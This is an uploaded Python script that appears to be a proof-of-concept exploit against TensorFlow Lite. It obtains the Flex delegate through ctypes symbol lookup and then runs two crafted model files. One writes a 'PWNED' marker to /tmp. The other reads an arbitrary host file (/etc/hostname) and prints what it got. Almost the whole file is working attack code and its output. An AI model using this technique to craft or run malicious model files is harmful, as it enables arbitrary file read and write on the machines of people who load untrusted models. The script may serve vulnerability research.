Upload flex_test4.py with huggingface_hub

flex_test4.py

@@ -0,0 +1,88 @@
+# Strategy: Import TF first to initialize the runtime, then
+# use the C wrapper directly without loading the common lib again
+import os, sys
+
+# Step 1: Import TF to initialize runtime
+import tensorflow as tf
+import numpy as np
+from tensorflow.lite.python.interpreter_wrapper import _pywrap_tensorflow_interpreter_wrapper as wrapper
+
+# Step 2: Get AcquireFlexDelegate from the ALREADY-LOADED libraries
+# When TF is imported, libtensorflow_cc.so.2 is already loaded
+import ctypes
+
+# Use RTLD_DEFAULT to search all already-loaded libs
+# This avoids re-loading and the double-registration issue
+lib = ctypes.CDLL(None)  # None = search global symbol table
+
+try:
+    acquire = lib._ZN6tflite19AcquireFlexDelegateEv
+    acquire.restype = ctypes.c_void_p
+    acquire.argtypes = []
+    flex_ptr = acquire()
+    print(f"FlexDelegate from global: {hex(flex_ptr) if flex_ptr else 'NULL'}")
+except Exception as e:
+    print(f"Global lookup failed: {e}")
+    # Try explicit lib
+    tf_dir = os.path.dirname(tf.__file__)
+    cc_path = os.path.join(tf_dir, "libtensorflow_cc.so.2")
+    # Use RTLD_NOLOAD to get handle without reloading
+    cc_lib = ctypes.CDLL(cc_path, mode=ctypes.RTLD_NOLOAD)
+    acquire = cc_lib._ZN6tflite19AcquireFlexDelegateEv
+    acquire.restype = ctypes.c_void_p
+    acquire.argtypes = []
+    flex_ptr = acquire()
+    print(f"FlexDelegate from cc: {hex(flex_ptr) if flex_ptr else 'NULL'}")
+
+if not flex_ptr:
+    print("No flex delegate available")
+    sys.exit(1)
+
+# Test flex_write
+print("\n=== Test flex_write.tflite ===")
+with open("models/flex_write.tflite", "rb") as f:
+    write_data = f.read()
+
+w = wrapper.CreateWrapperFromBuffer(write_data, 1, [], True, True)
+print("Created interpreter wrapper")
+
+result = w.ModifyGraphWithDelegate(flex_ptr)
+print(f"ModifyGraphWithDelegate: {result}")
+
+try:
+    w.AllocateTensors()
+    print("AllocateTensors succeeded!")
+    input_idx = w.InputIndices()
+    print(f"Input indices: {input_idx}")
+    if input_idx:
+        w.SetTensor(input_idx[0], np.array(b"PWNED via TFLite"))
+    w.Invoke()
+    print("INVOKE SUCCEEDED!")
+    if os.path.exists("/tmp/tflite_pwned.txt"):
+        with open("/tmp/tflite_pwned.txt") as f:
+            print(f"*** FILE WRITTEN: {f.read()} ***")
+    else:
+        print("File not written")
+except Exception as e:
+    print(f"Error: {type(e).__name__}: {str(e)[:800]}")
+
+# Test flex_read
+print("\n=== Test flex_read.tflite ===")
+with open("models/flex_read.tflite", "rb") as f:
+    read_data = f.read()
+
+w2 = wrapper.CreateWrapperFromBuffer(read_data, 1, [], True, True)
+w2.ModifyGraphWithDelegate(flex_ptr)
+
+try:
+    w2.AllocateTensors()
+    print("AllocateTensors succeeded!")
+    input_idx2 = w2.InputIndices()
+    w2.SetTensor(input_idx2[0], np.array(b"/etc/hostname"))
+    w2.Invoke()
+    print("INVOKE SUCCEEDED!")
+    output_idx2 = w2.OutputIndices()
+    output = w2.GetTensor(output_idx2[0])
+    print(f"*** FILE READ: {output} ***")
+except Exception as e:
+    print(f"Error: {type(e).__name__}: {str(e)[:800]}")